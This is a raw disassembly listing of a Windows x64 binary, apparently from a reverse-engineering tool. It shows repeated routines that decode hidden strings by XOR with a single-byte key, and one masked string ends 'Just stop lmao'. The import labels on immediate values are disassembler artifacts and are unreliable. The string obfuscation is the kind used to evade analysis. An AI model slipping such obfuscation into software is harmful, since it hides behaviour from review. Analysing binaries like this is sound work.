lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x180], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x181], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x182], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x183], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x184], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x185], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x186], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x187], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x188], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x189], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18a], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18b], al
lea rax, [rsp + 0x18c]
lea rax, [rsp + 0x18c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x208], 0
jmp 0x14016c7ee
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
cmp qword [rsp + 0x208], 0x2b
jae 0x14016c88e
lea rax, [rsp + 0x161]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x2f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f8], rax
movsx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1fb], al
lea rax, [rsp + 0x161]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x300]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
movzx ecx, byte [rsp + 0x1fb]
mov byte [rax], cl
jmp 0x14016c7db
lea rax, [rsp + 0x161]
mov qword [rsp + 0x310], rax
mov eax, Ordinal_46
imul rax, rax, 1
mov rcx, qword [rsp + 0x310]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov byte [rax], 0
lea rax, [rsp + 0x161]
mov qword [rsp + 0x320], rax
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0xb8], WSAGetLastError
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xb9], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xba], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xbb], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xbc], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xbd], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xbe], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xbf], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc0], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc1], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc2], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc3], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc4], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc5], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc6], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc7], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc8], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xc9], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xca], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xcb], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xcc], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xcd], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xce], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xcf], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xd0], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xd1], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xd2], al
movsx eax, byte [rsp + 0xb8]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xd3], al
lea rax, [rsp + 0xd4]
lea rax, [rsp + 0xd4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x260], 0
jmp 0x14016cd4f
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 0x1b
jae 0x14016cdef
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x330], rax
movsx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x330]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1fc], al
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x338]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
movzx ecx, byte [rsp + 0x1fc]
mov byte [rax], cl
jmp 0x14016cd3c
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x348], rax
mov eax, reloc.WLDAP32.dll_Ordinal_27
imul rax, rax, 1
mov rcx, qword [rsp + 0x348]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
mov byte [rax], 0
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x358], rax
mov rdx, qword [rsp + 0x358]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x98], 5
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa0], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa1], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa2], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa3], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa4], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa5], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa6], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa7], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa8], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa9], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xaa], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xab], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xac], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xad], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xae], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xaf], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xb0], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.______XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xb1], al
lea rax, [rsp + 0xb2]
lea rax, [rsp + 0xb2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x238], 0
jmp 0x14016d262
mov rax, qword [rsp + 0x238]
inc rax
mov qword [rsp + 0x238], rax
cmp qword [rsp + 0x238], 0x19
jae 0x14016d302
lea rax, [rsp + 0x99]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x368], rax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x368]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f0], al
lea rax, [rsp + 0x99]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
movzx ecx, byte [rsp + 0x1f0]
mov byte [rax], cl
jmp 0x14016d24f
lea rax, [rsp + 0x99]
mov qword [rsp + 0x380], rax
mov eax, Ordinal_26
imul rax, rax, 1
mov rcx, qword [rsp + 0x380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov byte [rax], 0
lea rax, [rsp + 0x99]
mov qword [rsp + 0x390], rax
mov rdx, qword [rsp + 0x390]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x78], 0x50
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x79], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7b], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7d], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x80], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x82], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x83], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x84], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x85], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x86], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x87], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x88], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8d], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e], al
movsx eax, byte [rsp + 0x78]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._____XXXXXX___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f], al
lea rax, [rsp + 0x90]
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x240], 0
jmp 0x14016d6ca
mov rax, qword [rsp + 0x240]
inc rax
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x240], 0x17
jae 0x14016d761
lea rax, [rsp + 0x79]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a0], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x3a0]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f1], al
lea rax, [rsp + 0x79]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x3a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
movzx ecx, byte [rsp + 0x1f1]
mov byte [rax], cl
jmp 0x14016d6b7
lea rax, [rsp + 0x79]
mov qword [rsp + 0x3b8], rax
mov eax, reloc.WS2_32.dll_socket
imul rax, rax, 1
mov rcx, qword [rsp + 0x3b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov byte [rax], 0
lea rax, [rsp + 0x79]
mov qword [rsp + 0x3c8], rax
mov rdx, qword [rsp + 0x3c8]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0xd8], reloc.WS2_32.dll_socket
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xd9], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xda], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xdb], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xdc], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xdd], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xde], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xdf], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe0], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe1], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe2], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
